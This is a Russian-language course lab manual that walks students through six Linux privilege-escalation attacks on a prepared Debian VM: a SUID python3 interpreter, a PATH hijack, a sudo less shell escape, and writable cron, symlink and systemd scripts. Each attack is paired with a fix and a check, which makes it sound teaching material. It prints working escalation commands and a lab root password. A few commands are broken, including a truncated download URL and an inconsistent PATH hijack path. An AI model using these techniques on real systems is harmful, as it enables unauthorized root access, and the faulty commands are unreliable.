

Лабораторная работа: эскалация привилегий и защита ОС Linux

Среда выполнения: виртуальная машина VirtualBox / VMware / QEMU, Debian 13 (Trixie)

Формат: практическая работа по типу Nebula / Lin.Security — «атака → защита → проверка»

Для зачёта достаточно выполнить задания **1, 3 и 4** (по каждому — эксплуатация, защита и проверка, со скриншотами и видимой меткой [LAB:...]). Задания 2, 5 и 6 — **по желанию**, их отсутствие на зачёт не влияет: их можно выполнить для собственного интереса или как запас по баллам.

Виртуальная машина

- **Образ ВМ:** скачать
- **ОС:** Debian 13 (Trixie)
- **Логин:** root
- **Пароль:** qwe123!@#

0. Общие сведения

0.1. Подготовка стенда

1. Запустите скаченную или разверните чистую ВМ Debian 13 (минимальная установка, без десктопа — так проще и быстрее).

2. Скопируйте на ВМ скрипт lab_privilege_escalation_setup.sh

Скачиваем скрипт подготовки лабораторного стенда из ветки 2026_fall репозитория курса

wget https://raw.githubusercontent.com/james116blue/os-protection/refs/heads/2026_fall/scripts/lab_priv

3. Запустите его от root, указав свой идентификатор (ФИО, логин или номер по списку группы):

Делаем скаченный скрипт исполняемым

chmod +x lab_privilege_escalation_setup.sh

Запускаем от root и передаём свой идентификатор (ФИО) — подставьте своё значение;

скрипт создаст стенд и напечатает метку LAB_TOKEN

sudo ./lab_privilege_escalation_setup.sh "Ivanov_I_I"

4. Скрипт выведет уникальную **метку лабораторной работы** (LAB_TOKEN) — 16-символьный hex-идентификатор, построенный на основе вашего идентификатора, имени хоста, времени запуска и случайного числа. Эта метка автоматически встраивается в приглашение командной строки (PS1) всех пользователей и в /etc/motd.

0.2. Правило анти-плагиата

На каждом скриншоте в отчёте должна быть видна метка [LAB:xxxxxxxxxxxxxxxx] в начале строки приглашения терминала. Скриншоты без этой метки, с чужой меткой или с меткой, не совпадающей с той, что выдал ваш собственный запуск lab_privilege_escalation_setup.sh, не засчитываются — это признак того, что работа выполнена не на своей машине или скопирована у другого студента.

Метку также можно вывести командой:

Выводим значение переменной окружения с меткой лабораторной работы

echo "\$LAB_TOKEN"

То же значение из файла — на случай, если переменная в этом сеансе ещё не подхватилась

cat /etc/lab-token

Откройте новый терминал (или выполните `exec bash -l`) после запуска скрипта, чтобы метка появилась в приглашении.

0.3. Роли

В каждом задании вы последовательно выступаете в двух ролях:

- **«Нарушитель»** — работаете под учётной записью `hacker` (пароль `hacker`), созданной скриптом. Именно из-под неё выполняется эксплуатация уязвимости.
- **«Администратор»** — работаете под своей обычной учётной записью с правами `sudo` (той, под которой вы устанавливали ВМ и запускали `lab_privilege_escalation_setup.sh`). Из-под неё вы вносите исправления. Если работа под `root`, то использование команды `sudo` не требуется

Переключение между ролями — обычным `su - hacker` / выходом обратно, либо через два разных терминальных сеанса (что обычно удобнее для скриншотов).

0.4. Структура каждого задания

Для каждого из шести заданий выполните три шага и дважды сделайте скриншот:

1. **Эксплуатация** — воспроизведите атаку, подтвердите успех соответствующим флагом из `/root/flags/`.
2. **Защита** — внесите указанное исправление от имени администратора.
3. **Проверка** — повторите попытку атаки и зафиксируйте, что она больше не работает.

0.5. Полезные команды аудита (пригодятся во всех заданиях)

Поиск всех файлов с установленным SUID/SGID-битом

```
find / -xdev -perm -4000 -type f 2>/dev/null
```

```
find / -xdev -perm -2000 -type f 2>/dev/null
```

Что текущему пользователю разрешено через sudo

```
sudo -l
```

Задания cron на уровне системы и пользователя

```
cat /etc/crontab /etc/cron.d/* 2>/dev/null
```

```
crontab -l
```

Каталоги, доступные для записи всем

```
find / -xdev -writable -type d 2>/dev/null
```

Активные таймеры и сервисы systemd

```
systemctl list-timers
```

```
systemctl list-units --type=service --state=running
```

Эти команды стоит прогонять в начале каждого задания — в реальной работе администратора именно так находят подобные ошибки конфигурации до того, как их найдёт злоумышленник.

Задание 1. Опасный SUID-бит

Теория

Бит SUID (`setuid`) на исполняемом файле заставляет процесс выполняться с правами **владельца файла**, а не правами того, кто его запустил. Если SUID установлен на программу, которая умеет выполнять произвольный код (интерпретатор, редактор, архиватор и т. п.),

любой локальный пользователь получает возможность выполнить код с правами владельца — обычно root.

В учебном окружении lab_privilege_escalation_setup.sh «по ошибке администратора» установил SUID-бит на системный интерпретатор python3.

Шаг 1. Эксплуатация (роль: hacker)

```
# Заходим под уязвимого пользователя hacker (пароль: hacker)
su - hacker
# Показываем текущего пользователя (пока это hacker)
id
# Ищем SUID-файлы на корневом разделе и оставляем только строки про python
find / -xdev -perm -4000 -type f 2>/dev/null | grep python
# Эксплойт: python3 с SUID стартует от root, setuid(0) закрепляет root,
# os.system запускает id и читает флаг1
python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("id; cat /root/flags/flag1.txt")'
```

Если атака удалась, вывод id внутри запущенной оболочки покажет uid=0(root), а команда выведет содержимое flag1.txt.

Скриншот 1.1. Терминал с видимой меткой [LAB:...], вывод команды find ... | grep python, показывающий SUID-бит на python3, и результат эксплойта с содержимым flag1.txt.

Шаг 2. Защита (роль: администратор)

Снимите бит SUID — для интерпретатора общего назначения он не нужен никогда:

```
# Возвращаемся из-под hacker в административную учётную запись
exit # вернуться из-под hacker
# Определяем РЕАЛЬНЫЙ путь к бинарию python3 (раскрываем символические ссылки)
PYBIN=$(readlink -f "$(command -v python3)")
# Снимаем SUID-бит у владельца: интерпретатору он не нужен
sudo chmod u-s "$PYBIN"
# Проверяем, что бит s у владельца исчез
ls -l "$PYBIN"
```

Общая рекомендация по защите: регулярно инвентаризировать SUID/SGID-файлы (find / -perm -4000) и сверять список с эталонным (пакеты, устанавливающие SUID намеренно — passwd, sudo, ping и т. п.). Любое расхождение — повод для разбирательства.

Шаг 3. Проверка (роль: hacker)

```
# Снова заходим под hacker (роль нарушителя)
su - hacker
# Повторяем эксплойт — теперь смена uid на 0 запрещена (ждём PermissionError)
python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("id")'
```

Ожидаемый результат — исключение PermissionError: [Errno 1] Operation not permitted: непривилегированный процесс больше не может сменить uid на 0.

Скриншот 1.2. Терминал с меткой [LAB:...], повторная попытка эксплойта и видимая ошибка Operation not permitted.

Задание 2. SUID-бинарь + уязвимость \$PATH

Теория

Даже «безопасный на вид» SUID-бинарь, написанный самим администратором, может быть уязвим, если он вызывает внешние команды **без указания полного пути** (например, через `system()` на C или `os.system()/popen()` без абсолютного пути). Такой вызов ищет команду по переменной окружения `PATH`. Если атакующий поставит в начало `PATH` каталог со своим файлом, имя которого совпадает с вызываемой командой, SUID-процесс выполнит код атакующего с правами владельца файла.

В окружении развёрнут бинарь `/usr/local/bin/sysinfo` (root, SUID), который внутри вызывает `id` без полного пути.

Шаг 1. Эксплуатация (роль: hacker)

```
# Заходим под hacker
su - hacker
# Смотрим владельца и права SUID-бинаря (виден бит s у владельца)
ls -l /usr/local/bin/sysinfo
# Запускаем утилиту как обычно, без подмены PATH – базовое поведение
/usr/local/bin/sysinfo      # обычный, «доверенный» запуск

# Готовим каталог для подложной команды id
mkdir -p ~/evil
# Создаём свой ~/evil/id: печатает флаг и вызывает настоящий /bin/id.
# ВНИМАНИЕ: строки до EOF ("#!/bin/bash", cat, /bin/id) – это содержимое файла, а не команды терминала
cat > ~/evil/id <<'EOF'
#!/bin/bash
cat /root/flags/flag2.txt
/bin/id  # чтобы утилита всё ещё выглядела «рабочей»
EOF
# Делаем подложный файл исполняемым
chmod +x ~/evil/id

# Запускаем sysinfo, поставив ~/evil первым в PATH – sysinfo вызовет нашу id с правами root
PATH=~:/evil:$PATH /usr/local/bin/sysinfo
```

Если атака удалась, вместо (или вместе с) обычного вывода `id` появится содержимое `flag2.txt` — значит, вместо системной `id` выполнен подложенный скрипт, причём с правами `root` (файл `sysinfo` имеет SUID).

Скриншот 2.1. Терминал с меткой [LAB:...]: содержимое `~/evil/id`, запуск `PATH=~:/evil:$PATH /usr/local/bin/sysinfo`, вывод `flag2.txt`.

Шаг 2. Защита (роль: администратор)

Исправление — на уровне исходного кода: вызывать команды только по полному пути (или явно очищать `PATH` в начале программы). Пересоберите бинарь с исправлением:

```
# Возвращаемся в административную учётную запись
exit  # вернуться из-под hacker

# Пишем исправленный исходник: id вызывается по абсолютному пути /usr/bin/id.
# Строки до EOF – содержимое файла /tmp/sysinfo_fixed.c
cat > /tmp/sysinfo_fixed.c <<'EOF'
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
```

```
int main(void) {
    printf("Сбор информации о системе...\n");
    /* ИСПРАВЛЕНИЕ: полный путь вместо поиска по $PATH */
    execl("/usr/bin/id", "id", (char *)NULL);
    perror("execl");
    return 1;
}
EOF
```

```
# Компилируем исправленный бинарь на место старого
sudo gcc -o /usr/local/bin/sysinfo /tmp/sysinfo_fixed.c
# Владелец — root
sudo chown root:root /usr/local/bin/sysinfo
# Возвращаем SUID-бит (4), как и было задумано для утилиты
sudo chmod 4755 /usr/local/bin/sysinfo
```

Общая рекомендация по защите: в привилегированном коде никогда не полагаться на \$PATH; вызывать команды по абсолютному пути (execve/execl) вместо system()/popen(), которые порождают /bin/sh -c "." и тем самым снова зависят от окружения.

Шаг 3. Проверка (роль: hacker)

```
# Роль нарушителя
su - hacker
# Та же атака: теперь вызывается /usr/bin/id, подложенный файл игнорируется
PATH=~/.evil:$PATH /usr/local/bin/sysinfo
```

Ожидаемый результат — выполняется настоящая /usr/bin/id, содержимое flag2.txt в выводе не появляется, подложенный ~/.evil/id не вызывается.

Скриншот 2.2. Терминал с меткой [LAB:...], тот же запуск с «отравленным» \$PATH, но вывод — только легитимный результат id, без содержимого флага.

Задание 3. Опасная запись в sudoers

Теория

Файл /etc/sudoers (и файлы в /etc/sudoers.d/) определяют, какие команды пользователь может выполнять через sudo, в том числе без пароля (NOPASSWD). Если разрешённая команда — это программа с собственным интерактивным режимом (редактор, пейджер, архиватор), пользователь может выйти из «разрешённого» сценария работы программы в произвольную команду, унаследовав привилегии sudo. Это задокументированный класс атак (так называемые «GTFOBins»-техники для sudo).

В окружении для hacker разрешён sudo less без пароля.

Шаг 1. Эксплуатация (роль: hacker)

```
# Роль нарушителя
su - hacker
# Смотрим, что разрешено студенту через sudo (увидим запись NOPASSWD про less)
sudo -l
# Запускаем less от имени root
sudo less /etc/hostname
```

Находясь внутри пейджера less, выполните:

```
!/bin/sh
```

Это команда самого less (вызов внешней команды), а не шелла — вводится прямо в режиме просмотра. Откроется интерактивная оболочка. Проверьте привилегии и прочитайте флаг:

```
# Проверяем, что мы уже root (uid=0) — эксплойт удался
id
# Читаем флаг, недоступный обычному пользователю
cat /root/flags/flag3.txt
# Выходим из полученной оболочки обратно в less
exit # выход из shell, затем q — выход из less
```

Скриншот 3.1. Терминал с меткой [LAB:...]: вывод `sudo -l`, момент выхода в shell из less (`!/bin/sh`), вывод `id` с `uid=0`, содержимое `flag3.txt`.

Шаг 2. Защита (роль: администратор)

Самое надёжное исправление — вообще не выдавать NOPASSWD на программы с возможностью выполнять произвольные команды. Если доступ действительно нужен, его нужно сузить до одной безопасной операции, а не до целой программы:

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под hacker

# Открываем файл sudoers-включения через visudo (он проверит синтаксис при сохранении)
sudo visudo -f /etc/sudoers.d/90-lab
```

Замените содержимое файла, например, на безопасный, максимально узкий вариант (просмотр одного конкретного файла без выхода в shell не гарантирован даже так — поэтому в учебных целях правильный ответ почти всегда «убрать доступ полностью»):

```
# Опасная запись удалена по итогам аудита.
# Доступ к less через sudo без пароля не выдаётся.
```

Проверьте синтаксис и права:

```
# Проверяем синтаксис файла (-c = check)
sudo visudo -c -f /etc/sudoers.d/90-lab
# Штатные права sudoers-файла: чтение владельцу и группе
sudo chmod 440 /etc/sudoers.d/90-lab
```

Общая рекомендация по защите: регулярно выполнять `sudo -l` за каждого пользователя (или просматривать `/etc/sudoers*`) и сверяться со списком программ, у которых есть известные «escape»-техники (less, vi, vim, more, man, find, awk, python и десятки других). Если доступ действительно необходим — использовать `sudoedit`, конкретные аргументы команды без wild-card и, где возможно, тег `NOEXEC`.

Шаг 3. Проверка (роль: hacker)

```
# Роль нарушителя
su - hacker
# Убеждаемся, что записи про less больше нет
sudo -l
# Пробуем снова — теперь sudo запросит пароль либо откажет
sudo less /etc/hostname
```

Ожидаемый результат — less в списке `sudo -l` больше не числится, `sudo less ...` запрашивает пароль (которого у hacker для этой команды нет) либо сразу отклоняется с `sudo: a password is required / not allowed`.

Скриншот 3.2. Терминал с меткой [LAB:...]: вывод `sudo -l` без записи про less, попытка `sudo less /etc/hostname` с отказом.

Задание 4. Root-cron + каталог с правом записи для всех

Теория

Планировщик cron часто используется для регулярных задач от имени root. Если скрипт, который запускает root по расписанию, лежит в каталоге, доступном для записи непривилегированному пользователю, этот пользователь может подменить содержимое скрипта — и при следующем срабатывании cron код атакующего выполнится с правами root.

В окружении каталог /opt/lab-cron (где лежит healthcheck.sh, запускаемый root каждую минуту) имеет права 777.

Шаг 1. Эксплуатация (роль: hacker)

```
# Роль нарушителя
su - hacker
# Права на каталог (увидим 777 — запись разрешена всем)
ls -ld /opt/lab-cron
# Права на сам скрипт
ls -l /opt/lab-cron/healthcheck.sh
# Смотрим задание cron: скрипт запускается от root каждую минуту
cat /etc/cron.d/lab-healthcheck

# Подменяем скрипт своим. Строки до EOF — новое содержимое файла healthcheck.sh
cat > /opt/lab-cron/healthcheck.sh <<'EOF'
#!/bin/bash
cp /root/flags/flag4.txt /tmp/flag4_stolen.txt
chmod 644 /tmp/flag4_stolen.txt
date >> /var/log/lab-healthcheck.log
EOF
# Сохраняем исполняемость после подмены
chmod 755 /opt/lab-cron/healthcheck.sh
```

Подождите до минуты (cron срабатывает раз в минуту) и проверьте результат:

```
# Ждём чуть больше минуты, чтобы cron выполнил подменённый скрипт
sleep 65
# Читаем украденный флаг — значит, наш код выполнился от root
cat /tmp/flag4_stolen.txt
```

Файл /tmp/flag4_stolen.txt появился и читается от имени hacker, хотя исходный flag4.txt в /root/flags/ доступен только root — это и есть эскалация: ваш код выполнился от имени root.

Скриншот 4.1. Терминал с меткой [LAB: ...]: права /opt/lab-cron (777), подменённое содержимое healthcheck.sh, вывод cat /tmp/flag4_stolen.txt с содержимым флага.

Шаг 2. Защита (роль: администратор)

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под hacker

# Убираем украденную копию флага
sudo rm -f /tmp/flag4_stolen.txt
# Снимаем запись для всех с каталога
sudo chmod 755 /opt/lab-cron
# Возвращаем владельца root
sudo chown root:root /opt/lab-cron
```

```
# восстановить легитимное содержимое скрипта
sudo tee /opt/lab-cron/healthcheck.sh > /dev/null <<'EOF'
#!/bin/bash
date >> /var/log/lab-healthcheck.log
EOF
# Возвращаем владельца root для скрипта
sudo chown root:root /opt/lab-cron/healthcheck.sh
# Права без записи для посторонних
sudo chmod 755 /opt/lab-cron/healthcheck.sh
```

Общая рекомендация по защите: скрипты, запускаемые от root (через cron, systemd, init), и каталоги, в которых они лежат, должны быть доступны для записи только root. Полезно также держать контрольные суммы «эталонных» root-скриптов и проверять их перед выполнением.

Шаг 3. Проверка (роль: hacker)

```
# Роль нарушителя
su - hacker
# Пытаемся дозаписать в скрипт — ожидаем Permission denied
echo "echo PWNED > /tmp/pwn_test" >> /opt/lab-cron/healthcheck.sh
```

Ожидаемый результат — bash: /opt/lab-cron/healthcheck.sh: Permission denied (или ошибка >> при попытке дозаписи): каталог и файл больше не доступны для записи обычному пользователю.

Скриншот 4.2. Терминал с меткой [LAB:...]: права /opt/lab-cron после исправления (755, root:root) и ошибка Permission denied при попытке повторной атаки.

Задание 5. Symlink-атака на привилегированный «читатель» файлов

Теория

Если привилегированный процесс (запускаемый от root) читает файл по заранее известному пути, не проверяя, что это обычный файл, а не символическая ссылка (symlink), непривилегированный пользователь, контролирующий этот путь, может подменить файл симлинком на любой файл в системе — в том числе на такой, который сам по себе ему читать не разрешено (например, файл в /root). Процесс root прочтает содержимое по симлинку и может «утечь» его туда, где атакующий уже имеет доступ на чтение.

В окружении root-скрипт /opt/lab-cron/collector.sh каждую минуту копирует содержимое /var/lab/intake/submission.txt (куда hacker имеет право писать — штатная функция «отправить заявку») в публично читаемый файл /var/lab/public/last_report.txt, не проверяя тип файла.

Шаг 1. Эксплуатация (роль: hacker)

```
# Роль нарушителя
su - hacker
# Смотрим штатное содержимое публичного отчёта
cat /var/lab/public/last_report.txt # обычное, штатное содержимое

# Удаляем свою заявку (в этом каталоге писать разрешено)
rm -f /var/lab/intake/submission.txt
# Подменяем её символической ссылкой на недоступный флаг
ln -s /root/flags/flag5.txt /var/lab/intake/submission.txt
```

```
# Убеждаемся, что это теперь симлинк
ls -l /var/lab/intake/submission.txt
```

Подождите срабатывания cron и проверьте результат:

```
# Ждём срабатывания cron
sleep 65
# В публично читаемом файле появляется содержимое флага — root «слил» его через симлинк
cat /var/lab/public/last_report.txt
```

Хотя hacker не может прочитать /root/flags/flag5.txt напрямую (права 600, владелец root), в публично читаемом last_report.txt появляется его содержимое — скрипт root прочитал файл по символической ссылке и «слил» его содержимое наружу.

Скриншот 5.1. Терминал с меткой [LAB:...]: попытка прямого чтения /root/flags/flag5.txt (Permission denied), создание симлинка, и содержимое флага, появившееся в /var/lab/public/last_report.txt.

Шаг 2. Защита (роль: администратор)

Добавьте в скрипт проверку, что источник — обычный файл, а не симлинк, прежде чем его читать:

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под hacker

# Пишем исправленный collector.sh с проверкой на симлинк (-L).
# Строки до EOF — содержимое файла collector.sh
sudo tee /opt/lab-cron/collector.sh > /dev/null <<'EOF'
#!/bin/bash
SRC="/var/lab/intake/submission.txt"
OUT="/var/lab/public/last_report.txt"

if [ -L "$SRC" ]; then
    echo "$(date): отказ — $SRC является симлинком" >> /var/log/lab-collector-errors.log
    exit 1
fi

cat "$SRC" > "$OUT"
chmod 644 "$OUT"
EOF
# Возвращаем владельца root
sudo chown root:root /opt/lab-cron/collector.sh
# Права без записи для посторонних
sudo chmod 755 /opt/lab-cron/collector.sh

# восстановить штатное содержимое заявки
sudo -u hacker bash -c 'echo "тестовая заявка" > /var/lab/intake/submission.txt'
```

Общая рекомендация по защите: привилегированный код не должен читать или писать файлы по путям, частично или полностью контролируемым непривилегированным пользователем, без проверки -L (не симлинк) непосредственно перед операцией; ещё надёжнее — открывать файл с флагом O_NOFOLLOW или монтировать такие каталоги с опцией nosymfollow, если она доступна в используемом ядре.

Шаг 3. Проверка (роль: hacker)

```
# Роль нарушителя
su - hacker
```

```
# Снова удаляем заявку и подменяем её симлинком на флаг
rm -f /var/lab/intake/submission.txt
ln -s /root/flags/flag5.txt /var/lab/intake/submission.txt
# Ждём срабатывания cron
sleep 65
# Флага быть не должно: скрипт отказывается читать симлинк
cat /var/lab/public/last_report.txt
```

Ожидаемый результат — last_report.txt не изменился (или пуст/содержит старое значение), содержимое flag5.txt в нём не появляется.

```
# Смотрим лог отказов (нужны права администратора)
sudo cat /var/log/lab-collector-errors.log # может потребовать доступа администратора
```

Скриншот 5.2. Терминал с меткой [LAB:...]: повторная попытка через симлинк и last_report.txt, не содержащий флага (при наличии доступа — также строка отказа в /var/log/lab-collector-errors.log).

Задание 6. systemd-юнит с неправильно настроенными правами

Теория

systemd-сервисы и таймеры часто выполняются от root. Если файл, на который указывает ExecStart=, доступен для записи непривилегированному пользователю (даже если сам unit-файл в /etc/systemd/system/ защищён нормально), этот пользователь может изменить исполняемый скрипт — и при следующем запуске сервиса/таймера код атакующего выполнится от root.

В окружении сервис lab-worker.service (и таймер lab-worker.timer, срабатывающий каждую минуту) запускает /opt/lab-systemd/worker.sh, у которого права 777.

Шаг 1. Эксплуатация (роль: hacker)

```
# Роль нарушителя
su - hacker
# Состояние таймера (интервал срабатывания)
systemctl status lab-worker.timer
# Содержимое юнита, включая ExecStart= (что и от кого запускается)
systemctl cat lab-worker.service
# Права скрипта (увидим 777 — запись разрешена всем)
ls -l /opt/lab-systemd/worker.sh

# Подменяем скрипт. Строки до EOF — новое содержимое файла worker.sh
cat > /opt/lab-systemd/worker.sh <<'EOF'
#!/bin/bash
cp /root/flags/flag6.txt /tmp/flag6_stolen.txt
chmod 644 /tmp/flag6_stolen.txt
date >> /var/log/lab-worker.log
EOF
# Сохраняем исполняемость
chmod 755 /opt/lab-systemd/worker.sh
```

Подождите срабатывания таймера (интервал — минута) и проверьте результат:

```
# Ждём срабатывания таймера
sleep 65
# Читаем украденный флаг — подменённый скрипт выполнился от root
cat /tmp/flag6_stolen.txt
```

Скриншот 6.1. Терминал с меткой [LAB:...]: права /opt/lab-systemd/worker.sh (777), подменённое содержимое скрипта, содержимое /tmp/flag6_stolen.txt после срабатывания таймера.

Шаг 2. Защита (роль: администратор)

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под hacker

# Убираем копию флага
sudo rm -f /tmp/flag6_stolen.txt
# Перезаписываем скрипт легитимным содержимым. Строки до EOF – содержимое файла worker.sh
sudo tee /opt/lab-systemd/worker.sh > /dev/null <<'EOF'
#!/bin/bash
date >> /var/log/lab-worker.log
EOF
# Возвращаем владельца root
sudo chown root:root /opt/lab-systemd/worker.sh
# Доступ только владельцу (systemd запускает ExecStart от root)
sudo chmod 700 /opt/lab-systemd/worker.sh
```

Файл не обязан быть доступен на выполнение кому-то, кроме владельца: systemd запускает ExecStart от имени, заданного в юните (по умолчанию — root), и для этого достаточно прав владельца.

Дополнительно можно проверить юнит специализированной утилитой аудита:

```
# Оценка защищённости юнита и подсказки по параметрам изоляции
sudo systemd-analyze security lab-worker.service
```

Общая рекомендация по защите: все файлы, упомянутые в ExecStart=, ExecStartPre=, EnvironmentFile=, WorkingDirectory= системного юнита, должны принадлежать root (или сервисному пользователю) и быть недоступны для записи никому другому; сами unit-файлы в /etc/systemd/system/ должны иметь права не выше 644 и владельца root.

Шаг 3. Проверка (роль: hacker)

```
# Роль нарушителя
su - hacker
# Пытаемся дозаписать в скрипт – ожидаем Permission denied
echo "echo PWNED > /tmp/pwn_test2" >> /opt/lab-systemd/worker.sh
```

Ожидаемый результат — bash: /opt/lab-systemd/worker.sh: Permission denied: скрипт больше не доступен для записи пользователю hacker.

Скриншот 6.2. Терминал с меткой [LAB:...]: права /opt/lab-systemd/worker.sh после исправления (700, root:root) и ошибка Permission denied при попытке повторной атаки.

Итоговая форма отчёта

Для зачёта достаточно заданий **1, 3 и 4**. Задания 2, 5 и 6 — по желанию.

Для каждого задания в отчёт включаются:

1. Номер и название задания.
2. Скриншот эксплуатации (со флагом и меткой [LAB:...]).
3. Команды/изменения, применённые для защиты (копипаста из терминала администратора достаточно).
4. Скриншот проверки (с отказом в доступе / отсутствием флага и меткой [LAB:...]).

5. Один-два предложения: в чём заключалась первопричина уязвимости и почему примененное исправление её устраняет (не просто «запретили», а что именно в логике доступа изменилось).

№	Задание	Флаг получен (экспл.)	Атака не работает (защита)
1	Опасный SUID	flag1	[]
2	SUID + \$PATH	flag2	[]
3	Опасный sudoers	flag3	[]
4	root-cron + writable dir	flag4	[]
5	Symlink + привилегированный читатель	flag5	[]
6	systemd с неверными правами	flag6	[]

Отчёты без видимой на всех скриншотах метки LAB_TOKEN, либо с меткой, не совпадающей с той, что выдал собственный запуск lab_privilege_escalation_setup.sh студента, к проверке не принимаются.